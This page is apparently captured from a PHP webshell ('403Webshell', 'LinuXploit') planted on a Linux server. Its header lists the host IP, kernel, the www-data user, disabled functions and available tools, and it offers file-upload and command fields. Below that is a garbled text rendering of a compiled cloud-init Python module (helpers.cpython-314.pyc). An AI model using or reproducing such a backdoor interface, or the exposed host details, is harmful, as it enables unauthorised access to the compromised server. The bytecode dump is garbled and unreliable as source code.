403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/__pycache__/helpers.cpython-314.pyc
+
��i�@���^RIt^RIt^RIt^RIHtHtHt^RIHt^RI	H	t	^RI
HtHtH
t
Ht^RIHtHtHtHt]P(!]4t!RR]4t!R	R
4t!RR4t!R
R4tRt!RR4t!RR4t!RR4t!RR4t !RR]PB4t"!RR]4t#R#)�N)�
NoOptionError�NoSectionError�RawConfigParser)�StringIO)�time)�persistence�settings�
type_utils�util)�CFG_ENV_NAME�
PER_ALWAYS�PER_INSTANCE�PER_ONCEc��]tRt^tRtR#)�LockFailure�N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��3/usr/lib/python3/dist-packages/cloudinit/helpers.pyrr���rrc��]tRt^tRtR#)�	DummyLockrNrrrrrrrrrc�Za�]tRt^ toRt]PRRl4tRtRt	Rt
VtR#)�DummySemaphoresc��R#�Nr��selfs&r�__init__�DummySemaphores.__init__!s��rc#�&"�\4x�R#5ir!)r)r#�_name�_freq�_clear_on_fails&&&&r�lock�DummySemaphores.lock$s
����k��s�c��R#�Fr�r#r'r(s&&&r�has_run�DummySemaphores.has_run(s��rc��R#)Trr.s&&&r�clear�DummySemaphores.clear+s��rrNr-)rrrrr$�
contextlib�contextmanagerr*r/r2r�__classdictcell__��
__classdict__s@rrr s3����
���������rrc�,a�]tRt^/toRtRtRtVtR#)�FileLockc��WnR#r!��fn)r#r=s&&rr$�FileLock.__init__0s���rc�T�R\P!V4:RVP:R2#)�<z using file �>)r
�obj_namer=r"s&r�__str__�FileLock.__str__3s��'1�':�':�4�'@�$�'�'�J�Jrr<N)rrrrr$rCrr6r7s@rr:r:/s�����K�Krr:c�&�VPRR4#)�-�_)�replace)�names&r�canon_sem_namerJ7s���<�<��S�!�!rc�fa�]tRt^;toRt]PR	Rl4tRtRt	Rt
RtRtVt
R#)
�FileSemaphoresc��WnR#r!��sem_path)r#rOs&&rr$�FileSemaphores.__init__<s�� �
rc#�"�\V4pVPW4x�R# \dT'dTPY4hi;i5ir!)rJ�_acquire�	Exceptionr2)r#rI�freq�
clear_on_fails&&&&rr*�FileSemaphores.lock?sC����d�#��	��-�-��+�+���	���
�
�4�&��	�s�A
�$�A
�A
�A
�
A
c���\V4pVPW4p\P!V4R# \\
3d!\P!\RT4R#i;i)zFailed deleting semaphore %sFT)rJ�	_get_pathr�del_file�IOError�OSError�logexc�LOG)r#rIrT�sem_files&&& rr2�FileSemaphores.clearIsZ���d�#���>�>�$�-��	��M�M�(�#�����!�	��K�K��;�X�F��	�s�6�-A'�&A'c�L�VPW4'dR#VPW4p\P!4:R\	4:R2p\
P!W44\T4# \\3d!\
P!\RT4R#i;i)Nz: �
z Failed writing semaphore file %s)r/rX�os�getpidrr�
write_filerZr[r\r]r:)r#rIrTr^�contentss&&&  rrR�FileSemaphores._acquireSs~���<�<��#�#���>�>�$�-��!#����d�f�5��	��O�O�H�/���!�!����!�	��K�K��?��J��	�s�A2�2-B#�"B#c��V'dV\8XdR#\V4pVPW24p\PPV4#r-)r
rJrXrb�path�exists)r#rIrT�cnamer^s&&&  rr/�FileSemaphores.has_runcs<���t�z�)���t�$���>�>�%�.���w�w�~�~�h�'�'rc���VPpV'dV\8Xd \PP	W14#\PP	W1:RV:24#)�.)rOrrbrh�join)r#rIrTrOs&&& rrX�FileSemaphores._get_pathmsB���=�=���t�|�+��7�7�<�<��/�/��7�7�<�<��T�4�*@�A�ArrNNr-)rrrrr$r4r5r*r2rRr/rXrr6r7s@rrLrL;s?����!��������"� (�B�BrrLc�6a�]tRt^utoRtRtRRltRtVtR#)�Runnersc� �Wn/VnR#r!��paths�sems)r#rts&&rr$�Runners.__init__vs���
���	rc�T�V\8Xg	V'gR#RpV\8XdVPPR4pM&V\8XdVPPR4pV'gR#W P9d\V4VPV&VPV,#)N�sem)r
rrt�	get_ipathr�	get_cpathrurL)r#rTrOs&& r�_get_sem�Runners._get_semzs����:��T�����<���z�z�+�+�E�2�H�
�X�
��z�z�+�+�E�2�H����9�9�$�"0��":�D�I�I�h���y�y��"�"rNc���VPV4pV'g\4pV'g.pVPW4'd\P	RW4R#VPWV4;_uu_4pV'g\
RV,4h\P	RW4\V\4'd
V!R/VBpMV!V!pRV3uuRRR4# +'giR#;i)z%s already ran (freq=%s)NzFailed to acquire lock for %szRunning %s using lock (%s)T)FNr)	r{rr/r]�debugr*r�
isinstance�dict)	r#rI�functor�argsrTrUrx�lk�resultss	&&&&&&   r�run�Runners.run�s����m�m�D�!���!�#�C���D��;�;�t�"�"��I�I�0�$�=� � �
�X�X�d�-�
0�
0�B��!�"A�D�"H�I�I��	�	�6��A��d�T�+�+�%�o��o�G�%�t�n�G��g��1�
0�
0�
0�s
�7AC�C,	rs)NF)	rrrrr$r{r�rr6r7s@rrqrqus�����#�&'�'rrqc�^a�]tRt^�toR
RltRtRtRtV3RlRlt]	R4t
R	tVtR#)�ConfigMergerNc�P�WnW nW0nW@nWPnRVnR#r!)�_paths�_ds�_fns�	_base_cfg�_include_vendor�_cfg)r#rt�
datasource�additional_fns�base_cfg�include_vendors&&&&&&rr$�ConfigMerger.__init__�s%������"�	�!��-����	rc�6�.pVP'dMVPP4pV'd(\V\4'dVP	V4V#V# \
d+\P!\RTP4T#i;i)z2Failed loading of datasource config object from %s)	r��get_config_objrr��appendrSrr\r])r#�d_cfgs�ds_cfgs&  r�_get_datasource_configs�$ConfigMerger._get_datasource_configs�s~�����8�8�8�	
����0�0�2���j��$�8�8��M�M�&�)��
�v�
��
�
�����H��H�H��
�
�

�s�!A#�'A#�#1B�Bc��.p\\P9dD\P\,pVP\P
!V44V#V# \d!\P!\RT4T#i;i)z%Failed loading of env. config from %s)	rrb�environr�r�	read_confrSr\r])r#�e_cfgs�e_fns&  r�_get_env_configs�ConfigMerger._get_env_configs�sp�����2�:�:�%��:�:�l�+�D�
P��
�
�d�n�n�T�2�3��
�v�
���
P����C�!H�$�O��
�
P�s�%A!�!'B�Bc�8�.pVP'gV#R.pVP'd#VPR4VPR4VFupVPPV4pV'gK(\P
P
V4'gKOVP\P!V44Kw	V# \d\PRT4K�\d!\P!\RT4K�i;i)�cloud_config�vendor2_cloud_config�vendor_cloud_configz5Skipped loading cloud-config from %s due to non-root.z&Failed loading of cloud-config from %s)r�r�r��
get_ipath_currbrh�isfilerr��PermissionErrorr]r~rSr\)r#�i_cfgs�cc_paths�cc_p�cc_fns&    r�_get_instance_configs�"ConfigMerger._get_instance_configs�s������{�{�{��M�"�#������
�O�O�2�3��O�O�1�2��D��K�K�-�-�d�3�E��u�������.�.���M�M�$�.�.��"7�8�	��
��'���I�I�%���
!���K�K��E�u���s� %C�!D�/D�8D�Dc� <�V^8�dQhRS[/#)��return�r�)�formatr8s"�r�__annotate__�ConfigMerger.__annotate__�s���(�(�4�(rc�8�.pVP'd:VPF)pVP\P!V44K+	VPVP44VPVP44VPVP44VP'dVPVP4\P!V4# \d!\P
!\RT4K�i;i)z'Failed loading of configuration from %s)
r�r�rr�rSr\r]�extendr�r�r�r��
mergemanydict)r#�cfgs�c_fns&  r�	_read_cfg�ConfigMerger._read_cfg�s������9�9�9��	�	����K�K����t� 4�5�"�	
���D�)�)�+�,����D�.�.�0�1����D�0�0�2�3��>�>�>��K�K����'��!�!�$�'�'��!���K�K��F����s�%C.�.'D�Dc�`�VPfVP4VnVP#r!)r�r�r"s&r�cfg�ConfigMerger.cfgs&���9�9�����(�D�I��y�y�r)r�r�r�r�r�r�)NNNNT)
rrrrr$r�r�r�r��propertyr�rr6r7s@rr�r��s8����� 
���@(�(�0���rr�c�Na�]tRtRtoRtRtRtRtRRltRt	Rt
R	tVtR
#)�ContentHandlersic�"�/Vn.VnR#r!)�
registered�initializedr"s&rr$�ContentHandlers.__init__
s�������rc�$�VPV4#r!)�
is_registered)r#�items&&r�__contains__�ContentHandlers.__contains__s���!�!�$�'�'rc�$�VPV4#r!)�_get_handler)r#�keys&&r�__getitem__�ContentHandlers.__getitem__s��� � ��%�%rc��WP9#r!�r��r#�content_types&&rr��ContentHandlers.is_registereds�����.�.rc�f�\4pVP4FHpV'dVPV4KVPV4'dK7VPV4KJ	VFpWPV&K	V'd,WP
9dVP
P
V4V#r!)�set�
list_types�addr�r�r�r�)r#�modr��	overwrite�types�ts&&&&  r�register�ContentHandlers.registers���������!�A���	�	�!���)�)�!�,�,��I�I�a�L�"��A�!$�O�O�A����3�&6�&6�6����#�#�C�(��rc�(�VPV,#r!r�r�s&&rr��ContentHandlers._get_handler(s�����|�,�,rc�H�\VPP44#r!)�listr��itemsr"s&rr��ContentHandlers.items+s���D�O�O�)�)�+�,�,r)r�r�N)FT)
rrrrr$r�r�r�r�r�r�rr6r7s@rr�r�s-�����(�&�/��-�-�-rr�c�a�]tRtRto^tRV3RlRlltV3RlRltRRltRRltRR	lt	RR
lt
RV3RlRlltRR
ltRt
VtR#)�Pathsi/Nc� <�V^8�dQhRS[/#)r��	path_cfgsr�)r�r8s"�rr��Paths.__annotate__2s���3�3�$�3rc���WnVPRR4VnVPRR4VnVPR\P
4Vn\PPVPR4Vn
\PPVPR4Vn\PPVPR4VnVPRR	4p\PPVR
4Vn
/RRbRR
bRRbRRbRRbRRbRRbRRbRRbRRbRRbRRbRRbR R!bR"R#bR$R%bR&R'bR(R)R*R+R,R-R.R/R0R1R2R2R3R3R4R4/CVnW nR5#)6�	cloud_dirz/var/lib/cloud�docs_dirz/usr/share/doc/cloud-init/�run_dir�instancez
boot-finished�seed�
templates_dirz/etc/cloud/templates/z%s.tmpl�	boothooksr�zcloud-config.txt�data�handlers�
instance_data�instance-data.json�instance_data_sensitive�instance-data-sensitive.json�combined_cloud_config�combined-cloud-config.json�network_configznetwork-config.json�instance_idz.instance-id�manual_clean_markerzmanual-clean�obj_pklzobj.pkl�scriptsrx�userdatazuser-data.txt.i�userdata_rawz
user-data.txt�
vendordatazvendor-data.txt.i�vendordata2zvendor-data2.txt.i�vendordata2_rawzvendor-data2.txt�vendordata_rawzvendor-data.txtr�zvendor2-cloud-config.txtr�zvendor-cloud-config.txt�vendor_scriptszscripts/vendor�warnings�hotplug.enabledz
.skip-networkN)r��getr�r�r	�DEFAULT_RUN_DIRr�rbrhrn�
instance_link�
boot_finished�seed_dir�template_tpl�lookupsr�)r#r��ds�template_dirs&&& rr$�Paths.__init__2s����	�'�m�m�K�9I�J���&�]�]��4�
��
�&�M�M�)�X�5M�5M�N���"$�'�'�,�,�t�~�~�z�"J���"$�'�'�,�,�����#
��� �W�W�\�\�$�.�.�&�A��
�%�M�M��4�
��"$�����l�I�!F���
���
��.�
�
�F�
�
�
�	
�
�1�
�
&�'E�
�
$�%A�
�
�3�
�
�>�
�
"�>�
� 
�y�!
�"
�y�#
�$
�5�%
�&
�)�'
�(
�O�)
�*
�-�+
�,
�/�-
�.
�1��/�"�$>�!�#<��.��
��0��_�=
���B�rc�$<�V^8�dQhRS[RR/#)r��ci_pkl_versionr�N)�int)r�r8s"�rr�r�gs���@�@��@��@rc��\VR4'g1\VPVPR7PVnRVP
9dRVP
R&RVP
9dRVP
R&RVP
9dRVP
R&R	VP
9dR	VP
R	&R
#R
#)z(Perform deserialization fixes for Paths.r�)r�rr�r�r�r�r�r�r	N)�hasattrr�r�r�r�r)r#rs&&r�	_unpickle�Paths._unpicklegs����t�Y�'�'�!��)�)������g�
�L��$�,�,�.�,@�D�L�L��)�$�D�L�L�8�.�
�L�L�2�3�#�$�,�,�6�,�
�L�L�0�1��D�L�L�0�.?�D�L�L�*�+�1rc�:�VPVPV4#r!)rXr�r#rIs&&rr��Paths.get_ipath_cur�s���~�~�d�0�0�$�7�7rc�:�VPVPV4#r!)rXr�rs&&rrz�Paths.get_cpath�s���~�~�d�n�n�d�3�3rc��VP'gR#VPP4pVfR#\V4P\P
R4p\PPVPRV4pVPPV4pV'd \PPWE4pV#)NrG�	instances)r��get_instance_id�strrHrb�seprhrnr�rr
)r#rI�iid�
path_safe_iid�ipath�add_ons&&    r�
_get_ipath�Paths._get_ipath�s���������o�o�-�-�/���;���C��(�(�����5�
������T�^�^�[�-�H�����!�!�$�'����G�G�L�L��/�E��rc�f�VPV4pV'g\PR4R#V#)z?No per instance data available, is there an datasource/iid set?N)r)r]�warning)r#rIr's&& rry�Paths.get_ipath�s.������%����K�K�2�
���Lrc� <�V^8�dQhRS[/#)r��base)r#)r�r8s"�rr�r��s���6�6�c�6rc�n�VfV#\PPWPV,4#r!)rbrhrnr)r#r/rIs&&&rrX�Paths._get_path�s(���<��K��w�w�|�|�D�,�,�t�"4�5�5rc�:�VPVPV4#r!)rXr�rs&&r�get_runpath�Paths.get_runpath�s���~�~�d�l�l�D�1�1r)
r
r�r�r�r�rrr�rrr!)rrrr�_ci_pkl_versionr$rr�rzr)ryrXr3rr6r7s@rr�r�/sI�����O�3�3�j@�@�28�
4�
� 	�6�6�
2�2rr�c�ba�]tRtRto^tRtRtRtRtR
Rlt	Rt
RtR	tR
t
R
RltRtVtR#)�DefaultingConfigParseri�gFNc��VPp\P!WV4pV# \dT#\dT#i;ir!)�DEF_BASErr
rr�r#�section�option�values&&& rr
�DefaultingConfigParser.get�sV���
�
��	�#�'�'��v�>�E�
���	�	�����	����	�s�'�A�A�A�Ac��VPV4'g'VP4R8wdVPV4\P!WW#4R#)�defaultN)�has_section�lower�add_sectionrr�r:s&&&&rr��DefaultingConfigParser.set�s>������(�(�W�]�]�_�	�-I����W�%����D�6�9rc�f�VPW4'd\P!WV4R#R#r!)�
has_optionr�
remove_option�r#r;r<s&&&rrG�$DefaultingConfigParser.remove_option�s&���?�?�7�+�+��)�)�$��@�,rc�v�VPW4'g
VP#\P!WV4#r!)rF�DEF_BOOLEANr�
getbooleanrHs&&&rrL�!DefaultingConfigParser.getboolean�s0�����w�/�/��#�#�#��)�)�$��@�@rc�v�VPW4'g
VP#\P!WV4#r!)rF�	DEF_FLOATr�getfloatrHs&&&rrP�DefaultingConfigParser.getfloat�s.�����w�/�/��>�>�!��'�'��v�>�>rc�v�VPW4'g
VP#\P!WV4#r!)rF�DEF_INTr�getintrHs&&&rrT�DefaultingConfigParser.getint�s.�����w�/�/��<�<���%�%�d�V�<�<rc��Rp\4pVPV4VP4VP4pV'dRP	WR.4pV#)�ra)r�write�flush�getvaluern)r#�headerre�outputstreams&&  r�	stringify� DefaultingConfigParser.stringify�sO�����z���
�
�<� ������(�(�*����y�y�&�B�!7�8�H��rrr!)rrrrrSrOrKr9r
r�rGrLrPrTr]rr6r7s@rr7r7�sC�����G��I��K��H��:�
A�A�
?�
=�
�rr7)$r4�loggingrb�configparserrrr�iorr�	cloudinitrr	r
r�cloudinit.settingsrr
rr�	getLoggerrr]rSrrrr:rJrLrqr�r��CloudInitPickleMixinr�r7rrr�<module>rfs�����	�G�G���=�=�O�O�
����!��	�)�	�	�	���K�K�"�7B�7B�t*'�*'�Zg�g�T -� -�F|2�K�,�,�|2�R0�_�0r

Youez - 2016 - github.com/yon3zu
LinuXploit